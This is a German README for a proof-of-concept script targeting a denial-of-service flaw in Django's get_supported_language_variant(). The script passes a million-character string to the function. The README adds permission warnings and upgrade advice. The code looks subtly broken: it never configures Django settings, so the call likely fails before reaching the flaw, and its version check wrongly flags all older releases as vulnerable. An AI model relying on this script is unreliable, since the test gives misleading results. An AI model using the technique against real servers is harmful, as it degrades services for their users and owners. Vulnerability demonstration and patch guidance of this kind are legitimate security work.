Proof of Concept (PoC) für Denial-of-Service-Schwachstelle in Django

Dieses Repository enthält ein Proof-of-Concept (PoC)-Skript, das eine Denial-of-Service (DoS)-Schwachstelle in Django-Versionen 5.0 vor 5.0.7 und 4.2 vor 4.2.14 demonstriert. Die Schwachstelle liegt in der Funktion get_supported_language_variant(), die bei der Verarbeitung sehr langer Zeichenketten mit bestimmten Zeichen anfällig für einen potenziellen DoS-Angriff ist.

Inhaltsverzeichnis

• Beschreibung der Schwachstelle
• Einrichtung und Verwendung
  • PoC-Skript
• Wichtige Hinweise
• Abhilfemaßnahmen

Beschreibung der Schwachstelle

CVE-ID: (Ausstehend)

Übersicht: Die Funktion get_supported_language_variant() in Django-Versionen 5.0 vor 5.0.7 und 4.2 vor 4.2.14 ist anfällig für einen Denial-of-Service-Angriff. Diese Funktion kann durch das Senden sehr langer Zeichenketten mit bestimmten Zeichen ausgenutzt werden, was zu einer Ressourcenerschöpfung und folglich zu einem Denial-of-Service-Zustand führen könnte.

Betroffene Versionen:

• Django 5.0 vor 5.0.7
• Django 4.2 vor 4.2.14

Behobene Versionen:

• Django 5.0.7
• Django 4.2.14

Einrichtung und Verwendung

Voraussetzungen

• Python 3.x
• Django installiert (pip install django)

PoC-Skript

Dieses Skript zeigt, wie ein Angreifer die Schwachstelle ausnutzen kann, indem er eine sehr lange Zeichenfolge an die Funktion get_supported_language_variant() sendet.

Speichern Sie das folgende Skript als dos_poc.py und führen Sie es aus.

import django
from django.utils.translation import get_supported_language_variant

# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] This Django version is vulnerable to the DoS attack.")
else:
    print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")

# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary

def test_dos_vulnerability():
    try:
        # Trigger the vulnerability
        get_supported_language_variant(very_long_string)
        print("[+] Successfully called get_supported_language_variant with a very long string.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    test_dos_vulnerability()

Erklärung

1. Überprüfung der Django-Version: Das Skript prüft zunächst, ob die installierte Django-Version anfällig für den DoS-Angriff ist.
2. Erzeugen einer sehr langen Zeichenkette: Es wird eine sehr lange Zeichenkette mit bestimmten Zeichen erzeugt. Passen Sie Länge und Inhalt nach Bedarf an, um die Schwachstelle auszulösen.
3. Testfunktion: Die Funktion test_dos_vulnerability() ruft get_supported_language_variant() mit der sehr langen Zeichenkette auf, um die Schwachstelle zu testen.
4. Ausführen des Skripts: Wenn das Skript ausgeführt wird, versucht es, die Schwachstelle auszunutzen und gibt die Ergebnisse aus.

Wichtige Hinweise

• Berechtigungen: Stellen Sie sicher, dass Sie die ausdrückliche Erlaubnis haben, diese Schwachstelle auf dem Zielsystem zu testen. Unautorisierte Tests sind illegal und unethisch.
• Testumgebung: Führen Sie diesen Test in einer kontrollierten Umgebung durch, um Auswirkungen auf Produktionssysteme zu vermeiden.
• Ressourcenverbrauch: Dieser PoC kann erhebliche Systemressourcen verbrauchen. Überwachen Sie Ihr System und seien Sie darauf vorbereitet, das Skript bei Bedarf zu stoppen.

Abhilfemaßnahmen

Um diese Schwachstelle zu beheben, aktualisieren Sie auf die behobenen Versionen von Django:

• Django 5.0.7
• Django 4.2.14

Befolgen Sie die offiziellen Django-Upgrade-Anweisungen, um Ihre Django-Installation auf die neueste sichere Version zu aktualisieren.

Indem Sie Ihre Software auf dem neuesten Stand halten und Sicherheitsbest Practices befolgen, können Sie Schwachstellen wie dieses DoS-Problem in Django verhindern.